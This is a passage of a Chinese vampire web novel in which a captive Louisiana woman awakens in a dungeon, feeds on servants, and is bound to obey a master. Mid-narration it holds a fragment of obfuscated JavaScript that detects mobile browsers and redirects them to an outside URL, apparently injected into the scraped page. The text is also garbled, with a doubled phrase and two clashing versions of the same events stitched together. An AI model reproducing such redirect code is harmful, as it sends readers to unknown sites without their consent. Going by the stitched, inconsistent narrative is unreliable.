《暗夜囚徒：血域救赎》 1. 囚牢觉醒 我这是……在哪里？ 我深吸一口气，紧接着便剧烈咳嗽起来，嘴里吐出……不知道什么东西到地上。啊！真恶心。这实在是太丢人了。希望周围没人看到我的狼狈样！ 这个念头刚一闪现就消失了。我努力保持镇定，但恐慌已然开始蔓延。 我闻到一股潮湿、陈旧的石头和铁锈的味道。 这里不是我的卧室，也不是我可能被送去的任何一家医院。 到底发生了什么事？ 我迷路了。 透过瀑布般的金发，我看到的石砖轮廓异常清晰，仿佛距离丝毫没有影响我的视力。黑暗不再是无法穿透的帷幕，而只是更深的阴影。我能清晰地分辨出每一滴水落下的声音和每一块木板的嘎吱声，而不再是把它们当作背景噪音。 空气中弥漫着潮湿和铁锈的味道，舌头上的味道既浓烈又让人分心。每一种感觉都被放大了，一种感觉刚吸引我的注意，另一种就取而代之，令人晕头转向。很快，感官的超负荷变成了我眼后的刺痛。 我难受极了。 我必须弄清楚状况。 我审视着自己的处境，惊恐地颤抖起来。 我的手腕被铐住了。我的腿摊在地上，皮肤擦破了皮。我感觉到肩上披着一件粗糙的束腰外衣，而且……哦，我竟然没穿内衣！可能有人看到我没穿……我简直不敢想。 我稍微扭动了一下，感觉到湿漉漉的头发贴在头皮上，垂到肩膀上。我看到自己的腿从一块粗糙的布料中伸出来。它们比平时还要苍白，上面布满了小红点，我意识到那是血。就是我之前吐出来的血。 我深呼吸以控制恐惧。我不能崩溃，不能尖叫。我可不是查尔斯顿那种看到一点血就会晕倒的柔弱女子。我可是有更坚强的意志！ 我的恐惧并未消退，但我再次控制住了自己。我不太清楚自己到底陷入了怎样的困境，但我知道惊慌无济于事。我不会被它击垮。 我小心翼翼地继续打量四周。 光秃秃的墙壁是千篇一律的灰色石头，还有一扇巨大的门，门上有个带栅栏的窗户。这是在开玩笑吗？我竟然在一个地牢里！我一定是在做梦。没错，这是个梦，我还在睡觉。或者也许我真的疯了，这是我听说过很多次的那种“收容所”。这是什么情况？我竟然穿着破布！就连奴隶都不会穿成这样！我发誓，我一定要弄清楚这一切，否则我就不叫……我就不叫…… 我是…… 无法集中精神。我的思绪是一堆杂乱的印象、情绪和我无法理解的需求。在我能完全抓住它们之前，它们就溜走了。我摇摇头，咬着嘴唇想让自己清醒过来，但毫无用处。什么都不管用。 我想不起自己的名字了。我必须想起自己的名字。不由自主地，我的嘴张开，发出了声音。 “阿……阿丽亚娜” 剧痛袭来！ 我尽可能地向前弯腰，喉咙像被火烧一样。很快，痛苦蔓延到胃部，从我的身体内部撕扯着我。我的意识因这极度的痛苦而变得空白。这比我以往经历过的任何痛苦都要强烈一百倍。上帝啊，求求你，让这痛苦停下来吧。停下来！来人啊，谁来救救我！ 似乎有人听到了我的祈祷。我能听到前方远处传来门打开的叮当声。三组脚步声朝这边走来。再快点，求求你们了！ “我就说我听到什么动静了。太阳刚下山，有可能。” “嗯。” 尽管没有任何光源，我却能清晰地看到那个可能救我的人的脸，现在我确定自己完蛋了。 这个男人看起来像个强盗。要是我在街上遇到他，肯定会立刻逃走，然后叫最近的警卫。他一头乱蓬蓬的黑发，留着油腻腻的胡子，肯定好几个月没修剪了！即便如此，如果不是他那双疯狂的蓝眼睛让我的灵魂都为之冻结，我还会把他当成一个劳工。 这个男人笑了笑，露出一口参差不齐的牙齿。真是让人毛骨悚然。然而我确信，如果不是一种奇怪的感觉阻止了我，这个男人本可以帮到我。 这个男人已经属于……别人了。我最好离他远点。我知道我应该好奇，但疼痛让我头晕目眩。 第二个人不是白人。他和那些帮忙挖铁轨的苦力有点像，有着同样的金色皮肤和斜眼，但把他们作比较就如同将博美犬和狼相提并论。他的手臂肌肉隆起，表情十分凶狠。从他的姿势我能看出，他是个剑客，或者某种拳击手。 他像捕食者一样优雅地移动着，那种奇怪的感觉再次涌上心头。我确定这个男人远比他看起来危险。他身上散发着一股冰冷的气息，他帮不了我。 第三个人可以帮我。 喜悦和温暖充满了我的胸膛。没错！这个人和我一样是个俘虏，是个一脸迷茫的少年。他穿着铁匠或者桶匠的衣服，脖子上挂着一条细细的链子。他能让疼痛停止，我内心深处就是这么觉得。 于是，我动了。 然后我停了下来。我困惑地看着自己伸出去的手臂，当然啦，我真傻。我还被锁着！沉重的银色金属锁把我的手腕和墙壁紧紧地连在一起。我被困住了。 “哇！还挺有脾气的，哈？来吧，把那小子给她。” 那个亚洲人皱起了眉头。我们目光交汇，在他粗犷的面容上有一丝同情。他把那个年轻人推向我。 我的左手碰到了男孩的衣领。太好了！终于，我得救了！我把我的救命恩人拉得更近，在他脖子上闻了闻。哦，这美妙的气息，就像一瓶年份绝佳的美酒，浓郁而醉人。我快要失去理智了。我的犬齿划过他的皮肤，刺入了肉里。某种浓稠而甜美的东西触碰到了我的舌头。 整个世界在狂喜中炸裂。 我无法用言语形容。 在无尽的时间里，一切都不存在。除了那如天堂般的愉悦，它翻涌、沸腾，将我淹没。我死去又重生，然后再次死去。这股幸福的浪潮蹂躏着我的身心，击碎了我的心灵。 如果这有鱼水之欢一半的美妙，我就能理解那些未婚先孕的女人了。这美妙得足以让人出卖灵魂。 我爱死这种感觉了。 爱死了，爱死了，爱死了。 我希望它永远不要停止。 可惜，在某个时刻，它还是停了。我不知道过了多久，但当这股浪潮退去，我感受到了平静，也确定世界一切安好。真是奇怪。再多的祈祷也从未让我达到如此美妙的境地。我仿佛触摸到了神圣的领域！ 我松开了那个瘫倒在地上的年轻人。他已经帮不了我了，更糟的是，他闻起来太臭了！ 那个诡异的男人轻笑起来，拉着少年的链子把他拖到我够不着的地方，就好像我是个动物一样。太无礼了！我不满地皱起眉头。 “这……这是什么意思？”我的声音沙哑。 我多么希望能表达出我对被这样囚禁的愤怒！连一桶水、一个便盆都没有！难道我要像野兽一样生活吗？我不想去想。我不想去想太多事情。 那个小个子白人惊讶地跳了起来，就连那个亚洲守卫也挑了挑眉。他们怎么了？难道他们以为我会畏缩、会求饶吗？ “呃，夫人。请原谅我这个卑微的鲍德温，哈？没想到您这么……” 我不耐烦地哼了一声，转而问他的同伴。 “你呢，勇士，能解释一下为什么把我关在这里吗？” 鲍德温有些慌乱，而这个人似乎只是觉得有点好笑。 “这是为了你的安全。” “我的安全？等我被解开锁链，回到家里，那才叫安全，你这个无赖！要怎样你才肯放我走？” 鲍德温打断了我，显然对被无视感到恼火。 “别为这些小事操心，夫人，你很快就会被放了。” “我……我……” 我还想继续追问，想从这两个不情愿的家伙嘴里套出点消息，但我感觉好累，疲惫不堪。困倦侵袭着我的四肢，让一切都变得异常沉重。我的眼皮像刽子手的斧头一样沉重地耷拉下来。 现在是种植园的夏天。甘蔗从红色的土地里钻出来，郁郁葱葱，一望无际。无情的太阳照在我的肩膀上，那重量几乎是实实在在的。要不是有微风和河水的气息，这简直让人无法忍受。 一个高大的金发男人跪在我面前。他的刀切入甘蔗的果肉，最后只剩下一小条滴着汁水的甘蔗。他的脸粗犷而泛红，金色的胡须乱糟糟的，但我不在乎。他那双明亮的蓝眼睛——我遗传了他的眼睛——满含着世间所有的温暖看着我。 “尝尝这个，我的小天使。” “我不想尝！它好脏！” “尝尝吧，让爸爸开心。来吧！” “好吧。” 我用小手接过，放进嘴里。它的口感很奇特，纤维很多，同时又甜又多汁。 “嗯！” “看到了吧？你爸爸最懂了。这就是为什么你应该听我的话，我的小天使。” “嗯？” “我告诉过你在外面要一直戴着帽子，因为太阳出来的时候太热了。可你听了吗？哦，没有，你没听。现在，你晒伤了。” 火焰从我的手上燃起，我尖叫着，试图扑灭它们，但我的另一只手臂也着了火，火势蔓延到我的全身。好痛，痛得要命。烧焦的肉裂开，露出乌黑的骨头。我的头发也烧了起来。没有什么能阻止这熊熊大火。我祈求黑暗将我带走，最终，它做到了。 我在同一个灰色的牢房里醒来。没有囚禁我的人或其他人的踪影。我感觉很奇怪。我内心有一部分在抗争、在反抗，试图让我去质疑自己的处境。我意识到，所有的事情都存在着矛盾之处，然而我却难以集中精力去思考。 就像一个被高烧折磨的病人，我对现实的把握是脆弱而不确定的。无论我多么努力地集中精力，也只能获得些许清醒的时刻。我记得一个噩梦，记得昨天，记得我的名字。我叫什么来着？阿丽亚娜。对，我叫阿丽亚娜，不过说实话，这只是个名字的一部分。 开口说话帮了我。 我要再试试。 “我的名字……是阿丽亚娜……我……十九岁。” 我到了适婚年龄。我有……追求者。我想是这样吧？ “我……来自……” 脑海中浮现出两个城市的名字，一个是巴吞鲁日，它给人一种家的感觉。另一个是新奥尔良，它感觉更令人兴奋，但也带着些不好的意味。 我没能把话说完。我感觉自己渐渐陷入冷漠，我不能让这种情况发生，所以我强迫自己继续说下去。 “我……” 我什么呢？ “我有……一个家庭。” 是的，我知道这是对的。我试图回忆起梦中的那个男人，他的笑容和快乐的神情，但他的形象变得模糊，另一个人的形象取而代之。第二个人很可怕。我记得他那残酷的笑容和洋娃娃般的眼睛，那眼睛里映照出的灵魂像黑夜一样漆黑。 我的沉思被同样的渴望打断。我的喉咙干渴难耐。这很正常，毕竟人每天都需要喝很多水。 我记得水手们如果被剥夺了水就会发疯的故事，他们在无法饮用的液体包围中失去了理智。我相信会有人来的。如果他们想让我死，那早就动手了。 时间过得极其缓慢，令人痛苦。我的口渴感越来越强烈，我开始呻吟起来。我的牙齿痛苦地咬着越来越干的嘴唇。唯一值得庆幸的是，两天过去了，我都还不需要去……嗯，这既尴尬又奇怪。为什么我都不需要去……去什么呢？ 一阵遥远的叮当声打断了我的思绪，不管我刚才在想什么。我已经忘了。又是三组脚步声。我很好奇自己怎么能这么准确地分辨出来，但，好吧，这其实也不重要。 他们很快就停了下来，昨天的那个亚洲人瞥了我一眼，然后打开了门。他走了进来，像英国皇家卫兵一样站在一旁。 第二个访客是一位从童话中走出来的女子。说真的，如果有人跟我描述她，我肯定会说他们在说谎，然而她就站在那里。 她身材高挑、体态轻盈，苗条的身躯穿着一件蓝色的礼服，就算是威廉国王的宫廷里的人见了也会羡慕不已。这件礼服完美地贴合她的身材，既迷人又不失端庄，考虑到她的身材，这可真是了不起。 她的皮肤像雪花石膏一样洁白，面容尽显优雅与威严。乌黑的卷发从精致的发型中柔顺地垂下，衬托着一双醒目的绿色眼睛，明亮如翡翠。如果我的嘴巴不是那么干，我现在肯定会像个乡巴佬一样目瞪口呆。 和那个亚洲人身上一样的冰冷气息也从她身上散发出来，但我却犹豫着不敢把他们相提并论，因为她似乎自成一格。如果说那个男人的气息像一面鼓，那么这个女人的气息就像一个管弦乐队。它散发出来的压力让我从心底感到恐惧，我觉得向她提任何要求都不是个好主意。 我转向最后进来的人，是个男人，我立刻就爱上了他。 他身材高大，英俊得不可思议，就像古代传说中的国王。棕色的卷发和头发衬托着被阳光微微亲吻过的皮肤。他的体格强壮有力，但又不像农夫那样是那种结实的力量。而是像决斗者一样，有着致命的优雅。 我感觉自己仿佛跪在阿喀琉斯或罗慕路斯面前，这个男人就是有这样的气场。我就是知道他是我的命中注定。他的气场没那么冰冷，而且不知为何有些熟悉，如此强大却又有所克制。我沉浸在他的存在中，一种奇怪的温暖在我的小腹蔓延开来。 哦，真丢人！我就这么容易被一个刚认识的人左右吗？我不能这样！然而我知道，如果这个男人碰我一下，我就会彻底沦陷。我忘记了口渴，忘记了自己的不适。只要他把我拥入怀中，我死而无憾。 “……他的后代居然能交流，奥戈泰，然而……” 我眨了眨眼，意识到这位高贵的女士正在和那个亚洲人说话，他叫奥戈泰，显然是这个名字。最奇怪的是，他们说的不是英语。他们说的这种语言大多是悠扬的元音和柔和的辅音，偶尔还夹杂着喉音。我确定我从未听过这样的语言，然而我却能听懂。 “我向您保证，她说话了，穆尔女士。” 我肯定又走神了。这么不专心可真累人，现在我的爱人肯定觉得我很傻！我一定要给他留下最好的印象，这样他就会永远属于我。我转向他，趁着谈话中的间隙，或者应该说是严厉的斥责中的间隙，跟他打招呼。 “您好。” 所有人的目光都落在我身上。不对，这么说不太对。如果我现在说英语，他们会觉得我没见过世面。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054908|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“女士，先生们，你们好。我叫阿丽亚娜。我可以问一下你们的名字吗？” 这样，简洁又礼貌。我的声音在说话中间有些沙哑，我浑身脏兮兮的，穿着连孤儿院都不会要的破布，但我的举止依然无可挑剔。 那个女人皱起眉头，露出极度厌恶的神情，就好像我浑身沾满了粪便。她一句话也没说，转身用一条洒了香水的手帕捂着鼻子离开了房间。要不是因为这个男人，我肯定会又羞又恼地脸红。 他跪在我面前，我沉浸在他那深邃如渊的眼神里。他在微笑，一定是。他为我骄傲，我想。 不，他是在沾沾自喜。 不，他为我骄傲。他爱我，只希望我能得到最好的。我爱他！ 我不爱他。他伤害了我。 我爱他，他会永远属于我。那层舒适的“毯子”笼罩着我的思绪，最后只剩下崇拜。我屏住呼吸等待他说一句话，一个字，任何回应，直到我再也等不下去。 我动了。 又一次，锁链挡住了我，我的脸离他金色的脖颈只有几指之遥。我使劲挣扎、伸展，金属发出呻吟，但当然，我太虚弱了，挣不脱。我终究只是个凡人。我无法掰弯金属。 我能吗？ 这个男人吸引了我的全部注意力，口渴的感觉暂时消退了。他身上香水的味道让我头晕目眩，同时又让我感到安心。我属于这里，在他身边。对，不对，对。 他用一根手指轻轻托起我的下巴，抬起我的头，直到我们目光平视。他皮肤的触碰让我的脊背微微颤抖。 “你要称呼我们为主人。” “是的，主人。” “只有我们跟你说话的时候，你才能开口。” 我默默点头。我当然会照他说的做。 “你要在所有事情上服从那个叫希梅纳的女人。你要举止得体。做到这些，三天后你就可以汲取我们的精华，活下去。” 我疯狂地点头。我想说我会乖乖的，但又犹豫着不敢开口。这个男人说完就站起身来，转向奥戈泰。哦，他离我那么近的时候，我是多么开心。那正是我所期待的一切。是我梦寐以求的一切。 “为什么我的新生后裔还被关在囚牢里，狱长？” 奥戈泰的鞠躬几乎是卑躬屈膝的，这在这样一个男人身上本应很奇怪，但我又怎么能怪他呢？谁能站在这个男人面前还称自己与他平起平坐呢？想必，就算是亚历山大大帝和大西庇阿也会自愧不如。 这个男人头也不这个男人头也不回地走出了牢房。 为什么他就这样抛下我？我是如此爱他，他肯定能清楚地看到我的心意！我才是他的命中注定！还是说我根本就不够好？难道一个来自路易斯安那的有地产的女士，对他来说太土气了？ 或许我应该把那个绿眼睛的风骚女人开膛破肚，再用她自己的肠子勒死她。 等等。 我刚刚在想什么来着？ 我能听到一阵尖锐的哀鸣声，很快意识到那是从我喉咙里发出来的。啊！我得控制住自己。我这是怎么了？ 一个陌生的亚洲男人拿着一把银色钥匙朝我走来。啊，对，是奥戈泰。他之前来过。他要把我带出牢房，然后……做什么呢？ 啊，对了，我终于想起来了。我要服从那个了不起的男人。我的爱人。不，是令人憎恶的人。爱人。我记得他的命令。没人跟我说话时我就得保持沉默。我要在所有事情上服从希梅纳。我要举止得体。 我会照做的，因为这是他对我的要求，而且他是如此让人难以抗拒。我只希望能有点喝的。我快渴死了。 “啊！”我叫了出来。 手铐“哐当”一声重重地掉在地上，还扯掉了一层皮。我看着自己现在自由的手腕。太可怕了！我的皮肤被磨掉了！血肉模糊，还渗着黑色的血！ 我确信自己马上就要呕吐了，向前挪动了一下，然而，什么也没发生。看到这些难看的伤口，我居然没有感到恶心。它们肯定感染了，而且很可能会留下疤痕！ 天啊！难道我余生都要带着这段囚禁的耻辱印记吗？ “慢慢出来。” 我摇摇晃晃地向前迈出一步。我感觉虚弱又头晕。我祈祷他们能有地方弄点水来。 我走出牢房，发现自己身处一条昏暗的走廊，墙壁同样是那种单调的灰色石头砌成。奥戈泰在前面带路，脚步声在空荡荡的走廊里回响。我的双腿像灌了铅一样沉重，每走一步都要费好大的力气。 我们来到一段楼梯前，我开始往上爬，每上一级台阶都气喘吁吁。我渴望着能喝到一口水，喉咙干渴得仿佛要燃烧起来。终于，我们来到了一扇巨大的木门前，奥戈泰打开门，示意我进去。 房间里光线昏暗，唯一的光源是几支摇曳的蜡烛。我看到那个叫希梅纳的女人正坐在一张华丽的椅子上，她冷冷地看着我，眼神里充满了不屑。那个英俊的男人站在一旁，他的存在让我心跳加速，尽管我内心还在挣扎，对他既爱又有些莫名的抵触。 “这就是那个新来的？”希梅纳开口说道，声音冰冷又尖锐，“看起来很虚弱，也没什么特别的。” 那个男人没有回应她的话，只是看着我，目光让我有些不知所措。我站在那里，低着头，努力让自己保持镇定，想起他之前的命令，不敢随意开口。 “你，过来。”希梅纳冲我招招手。 我小心翼翼地走上前去，尽量让自己的动作显得得体。她上下打量着我，然后皱着眉说：“把她带去洗干净，换身衣服。三天后，她要参加仪式。” 立刻，有两个女仆模样的人出现，她们抓住我的胳膊，带我离开了房间。我被带到一个浴室，里面有一个巨大的浴缸，冒着热气。她们粗鲁地帮我脱掉身上的破布，把我推进浴缸里。 热水接触到我伤口的那一刻，我疼得倒吸一口凉气，但很快，温暖的水让我紧绷的身体放松了一些。女仆们开始给我擦洗，动作并不温柔，我强忍着疼痛，没有发出声音。洗完后，她们给我穿上一件简单但干净的白色长裙，梳理了我的头发。 当一切结束，我被带回那个房间。希梅纳和那个男人还在，希梅纳看了我一眼，似乎还算满意。那个男人的眼神在我身上停留了一会儿，我心中涌起一丝期待，希望他能说些什么，但他只是沉默着。 接下来的三天，我被关在一个小房间里，除了女仆每天送来一些简单的食物和水，没有人来看我。我努力让自己保持清醒，思考着自己的处境，但脑海里总是时不时地出现一些奇怪的念头和模糊的记忆，让我无法集中精力。 终于，到了第三天。我被带到一个宽敞的大厅，大厅里弥漫着一股神秘的气息。大厅的中央有一个石台，周围点着许多蜡烛。希梅纳和那个男人站在石台旁，还有一些我从未见过的人也聚集在周围。 我被带到石台前，那个男人看着我，说：“现在，你要完成仪式。只要你按照我们说的做，就可以活下去，成为我们中的一员。” 我心中充满了恐惧和疑惑，但又不敢违抗他的命令。我看着他的眼睛，点了点头。仪式开始了，周围的人开始念起奇怪的咒语，我感到一种莫名的力量在空气中涌动，我的心跳越来越快，不知道接下来会发生什么…… 2. 初拥者的磨难 我怒火中烧。 那个亚洲男人带着厌恶与戒备交织的神情盯着我，我不禁感到被冒犯了。当然，我穿着破衣烂衫、浑身脏兮兮的，活像个煤炭商人，看起来肯定很不得体！那些抓我的人真是厚颜无耻，简直难以置信。 我终于走出牢房，映入眼帘的是一条同样由石头砌成的短走廊。一支火把就提供了足够的光亮，能让一切都看得清清楚楚，这让我有点惊讶。通道上点缀着我认为是杀人洞的东西。真是古雅。我肯定是晕倒了，然后被魔法传送到了某个苏格兰人的领地。 奥戈泰在我身后锁上了门，我向前走去，迫切地想要离开这个沉闷的地方。就在我快要走到第二扇门时，一把未出鞘的马刀刀身轻轻敲了敲我的肩膀。 “站住。到旁边去。” 我愤怒地转过身，不过还是保持了沉默。他怎么敢拔刀对着我？主人说过我要听从希梅纳的命令，而他又不是她。 他无权对我发号施令，我要让他尝尝痛苦的滋味，还要…… 一只手抓住我破旧的衬衫，把我猛地推向墙壁。 他像扔玩偶一样把我扔了出去！ 我的后背撞到石头上，一阵剧痛袭来，眼前一片昏黑。接着我的头也撞了上去，牙齿因撞击咯咯作响。剧痛在每一根骨头里蔓延，更添了我原本就有的不适。 “啊！” 他的手把我的胸膛死死按在墙上。在他的暴行下，我的骨头嘎吱作响。我疯狂地抓挠他的手臂，想让他放开我，但当我感觉到脖子上有冰冷的金属触感时，便停了下来。 “啊！” “我可不想听你顶嘴，初拥者。” 他的袖子上有红斑。看来在慌乱中，我把他抓出了血。我的指甲黑得像黑珍珠，而且还很锋利。这是什么时候变成这样的？ 他武器的刀刃离开了我的脖子，刀尖抵在我的下巴下面，直到我开始叫嚷。哦，上帝啊，我到底做了什么，要遭受这样的对待？他们为什么要这么残忍？好痛啊！ “我说清楚了吗？” “清楚了！”我呜咽着说。 我是多么讨厌这样自贬身份，但面对如此肆意的暴行，又能怎样呢？ 慢慢地，这个男人放开了我，不过他的刀还是出鞘的状态。我一动不动地站着，揉着可怜的胸口。恐惧开始在我的脑海中蔓延，唤醒了原始的本能。我想逃跑，但我不能。门被锁上了。我甚至都不知道该往哪儿跑。 奥戈泰耐心地摆弄着他的那串钥匙，我终于走进了另一条石头隧道。不过，这条隧道和之前的不同。 看来我的牢房只是众多牢房中的一间。几座由厚实墙壁围成的区域占据了大部分空间，偶尔有火把照明。每个牢房都有四面墙，还有一条通道，狱卒可以绕着牢房走一圈。 我注意到的那些杀人洞，既可以让外面的人看到走廊里面，我猜也能从那里向外射击。我不知道这里通常关押的是什么样的野兽，但要是我有能力抱怨，肯定会对自己受到这样的待遇表示不满。 那个亚洲男人带着我穿过迷宫般的通道，来到一扇巨大的门前，门和我的镣铐一样，都是用那种银灰色的金属制成的。他毫不费力地推开了门。这个男人得有多强壮啊？ 我走上一段楼梯，经过几个有更多门的平台，但奥戈泰不让我停下。最后，我们穿过最后一道金属门，终于来到了一座像样的建筑里。 这是一座多么气派的建筑啊。 我本想深吸一口气，庆祝自己终于离开了这个该死的地下洞穴，但我却不知所措。到底是谁会头脑发热，花大价钱建造这样的东西呢？ 一条走廊在我的左右两侧延伸，右边通向一个十字路口，左边则是一个死胡同。 紧闭的门与由多立克柱支撑的低调壁龛交替排列。地面是大理石铺就，墙壁则是粉色花岗岩。到处都挂着挂毯和画作，给人一种低调优雅的感觉。 我万万没想到，在美洲竟然存在这样的地方！我觉得我得跨越大西洋，去白金汉宫或者凡尔赛宫，才能找到与之媲美的奢华之地。 而这个地方的主人完全掌控着我的命运。 我又颤抖了一下。我原以为自己见过财富，真是太天真了！这些人可不是那种为了快速拿到赎金然后逃往西部的无赖和亡命之徒。哎呀，要是我逃出去遇到执法官，他会相信谁呢？一个脏兮兮的流浪儿，还是这个地方的主人？我的证词只会被当成疯女人的胡言乱语。 我到底陷入了怎样的境地啊？ 这阵激动让我有了片刻的清醒，仿佛外界的刺激能揭开我脑海中的那层面纱，但很快，我又难以集中精力了。我为什么想要逃跑呢？我想再见到那个男人，这是我内心最渴望的事。 奥戈泰又带着我上了一段楼梯，沿着另一条走廊前行。我们遇到了一个穿着西装的男人，如果他走到外面，肯定会被汗水湿透；还有两个穿着女仆装的女人，身上散发着宜人的香气；以及一个穿着白色连衣裙的小姑娘。 每次我们经过别人身边时，奥戈泰都会抓住我的脖子，强迫我低下头，这样我就不能和他们对视，其实就算他不这么做，我自己也很不好意思，根本不想和他们对视。 最后，狱卒离开了那些似乎没有尽头的走廊，把我推进了一间卧室。我还没来得及开始惊慌，他就吩咐我去洗漱，然后砰地一声关上了门。 我又一次打量起周围的环境。房间本身相当小，这也很合理，毕竟这里有这么多房间。房间里还装饰得很奢华，以红色和金色为主色调。很明显，设计那些巴洛克风格走廊的人，也把他的风格延伸到了我的新住处。 床有四根帷柱，占据了房间的正中央，靠墙的一侧摆放着一张写字台和一把椅子。起居空间被白色的隔板隔开，在另一边我发现了一个铜制浴缸，还有一些生活用品，以及另一个惊喜——这个地方有热水供应。 我放好洗澡水，脱掉身上那件可恶的土豆袋子似的衣服，惬意地滑进浴缸，叹了口气。 我不知道自己现在的感受是因为之前的遭遇，还是身体的状况，但洗澡这件事从来没有这么令人愉悦过。 水如丝般轻抚着我的肌肤，温暖的水流渗透进我的身体，让我满心欢喜。我几乎都忘了自己有多口渴。哦，真傻，现在到处都是水！我之前在等什么呢？ 我把水龙头里的温水送到嘴边，匆忙喝了一大口，毫无疑问，这根本不管用。真奇怪！这是某种疾病的症状吗？好吧，以后再想这个问题。 我的皮肤什么时候变得这么白了？ 几周前夏天就到了路易斯安那，我记得那时我有一层淡淡的但很明显的晒斑，可现在我却白得像个加拿大人。我的指甲也是黑色的，而且非常锋利，这我无法解释。又多了一个谜团。 或者我应该意识到自己变成了什么样子，为什么我感觉不到饥饿呢？ 等等，还有更紧急的事情要处理。我得打扮得像样点。要是那个狱卒在我还没穿好衣服的时候进来，我肯定会羞愧而死。一个体面的女士一天之内能忍受的羞辱是有限度的。 我用力地擦洗着自己，享受着每一刻。擦干身体后，我在桌子上找到了内衣和一件简单的亚麻连衣裙，立刻穿上了。它们不太合身，腰部有点紧，但我发现自己并不太在意。 再次穿得得体的感觉真好，柔软的布料贴在皮肤上的感觉简直太美妙了。我尽情享受着，直到一阵急促的敲门声打断了我。 我打开门，看到外面有两个男人。奥戈泰面无表情地盯着我，另一个男人年轻一些，穿着仆人的衣服。 闻到他的气味，我的口渴感陡然加剧。多么令人陶醉的香味啊！我还没来得及向前凑近，奥戈泰的手又一次抓住了我的脖子。啊！这个男人非得这么惹我生气吗！我真想把他像恶狗一样撕成碎片！ “初拥者。” 我强迫自己咽了口唾沫。我可不想在牢房里的那一幕再次上演。那些暴徒已经很清楚地表明，一有机会他们就会动用暴力。当然，除了那位英俊的先生。 “你要听从命令，不许反抗。” 那个仆人毫不掩饰地用恐惧的眼神看着我。他那双巧克力色的眼睛盯着我的笑容，开始用某种我听不懂的语言胡言乱语。他试图后退，却被狱卒紧紧抓住脖子，这反而更激起了我那疯狂的口渴感。它刺痛我的胸膛，钻进我的脑海，要求得到满足。除了那无情的渴望，什么都不重要了。 真奇怪，看到一个惊恐的男人竟然让我……兴奋？而且还更口渴了？这次绑架把我变成了一个怪物。什么？不，这次磨难只是让我有点歇斯底里。对，只是有点紧张。没什么大不了的。 我笑着紧紧抱住那个男人，而他徒劳地试图推开我。当他的眼睛与我对视，眼神变得迷离时，我还在笑。 我叹了口气，吸入他恐惧的气息，还带着一丝欲望。美味极了。我微笑着，尖牙刺破他脖子的皮肤，终于，终于可以缓解这该死的口渴了。 又是一阵狂喜。 我仿佛被带到了另一个世界，心醉神迷，灵魂都要被抽离。 如果说有什么能超越时间和空间，那就是这个了。无论是苦行僧还是先知，无论是萨满还是法师，都无法与这种神圣的体验相媲美。就算拥有全世界的香火和祈祷也不行。 我爱死这种感觉了，爱死了，爱死了。 一阵剧痛把我拉回了现实世界。狱卒那带爪的手指一寸一寸地抠进我脖子的肌肉里，迫使我的下巴张开。那个年轻的仆人被拖走了，他仍然被不知什么东西迷惑着。 “不——” “初拥者。” 疼痛让我的视线一片雪白，我咽了口唾沫。我不再动弹。这实在是太过分了。 “你要把伤口舔合。现在就做。” 我用舌尖设法把年轻人皮肤上珍贵的液体舔干净，即使那涓涓细流已经停止。我一滴都没有浪费。最后，奥戈泰把他拉得更远，他茫然地靠在墙上瘫倒下来。不知为什么，他脸上的表情很满足。然而，我却不满足。我还需要更多。非常多。 “啊——”我哭喊着。 奥戈泰的手没有放松。他另一只现在空出来的手臂把我的手臂反锁在背后。我弓起身子，以免疼痛变得难以忍受。我几乎不再挣扎他的束缚。我的沮丧根本敌不过持续的疼痛和脱臼的危险。 那可怕的口渴感终于消退了。它像一只警惕的老虎，退回到我脑海的深处，虽然暂时平息，但并没有消失。 我又恢复了正常。 等等，刚才发生了什么？ 我想不起来了。 好像和获取养分有关。 奥戈泰把我推开，我摔倒在床上。我尖叫着，手忙脚乱地又站了起来。我可不是什么涉世未深的小姑娘，不会不明白和一个男人在卧室里意味着什么，而且这个狱卒让我很警惕。 幸运的是，这次我的担心是多余的。我猜奥戈泰是弯下腰去查看那个仆人的情况。显然他很满意，又站起身来，示意我跟他走。 我们离开房间，我尽力跟上这个高大的陌生人。困倦再次让我的四肢沉重，头脑疲惫，但我拒绝屈服。 我们下到我认为是一楼的地方，很快就来到一扇厚实的门前，门是用一种我不认识的木头制成的。奥戈泰轻松地打开一扇门，把我推了进去。 我发现自己身处的这个房间无疑是个训练室。这是一个非常宽敞的长方形房间，四周是没有装饰的灰色石墙。左边排列着武器架，右边是靶子，远处的墙上摆着长凳。 我惊讶地看到地面是铺着一层沙子的石头，这让我想起了我曾经在一本书里看到的罗马斗兽场的插图。哎呀，如果一头狮子和一个角斗士在铜管乐器的声音中昂首走进来，我都不会眨一下眼。 除了我们，房间里唯一的人是一个把黑色卷发盘成发髻的女人。我都不确定她到底是让我更震惊还是更钦佩。 她的脸称不上美丽，因为下巴有点方，显得有些硬朗，但她却散发着一种温柔优雅的气质，而那件极为合身的皮甲更是增添了这种气质。她的样子让我再次怀疑自己是不是疯了。 我知道拿破仑的“胸甲骑兵”会穿着钢制胸甲奔赴战场，但她看起来更像个偷猎者，而不是士兵，而且，女性不该穿成这样，这太不得体了。 我们走近时，她一直没理会我们，直到毫无疑问我们是来找她的。她皱着眉头，把正在擦拭的一把刀收起来，转向我们。 她身上散发的冷漠气场和奥戈泰一样强烈，但更内敛，我觉得她和他们是一类人，我是说我觉得这就是她自信的来源。她是个亚马逊女战士吗，竟敢毫不畏惧地站在那个男人面前？我推测肯定是发生了什么可怕的意外，我现在肯定是中了某种强效药剂，产生了幻觉。 “侍从。” “廷臣。”她轻蔑地回应道。 奥戈泰那张扭曲的脸上闪过一丝愤怒，但很快就藏起来了。 “在她的主人参加重要的秘密会议期间，你要训练这个初拥者。” “什么样的主人会把一个初拥者带到这里来？她是有什么缺陷，不能独自待着吗？” “你可以把你的顾虑转达给尼拉里大人。我相信他会很高兴听到你的反对意见的，侍从。命令已经下达了。我就此告辞。” 说完，奥戈泰转身离开，把我们俩都留在了那里。我原本还抱有一丝希望，这个人会同情我的困境，但这些期望很快就破灭了。 她脸上的厌恶让我想起了摩尔夫人，只不过她的厌恶中还夹杂着愤怒。我本能地往后退了一步。 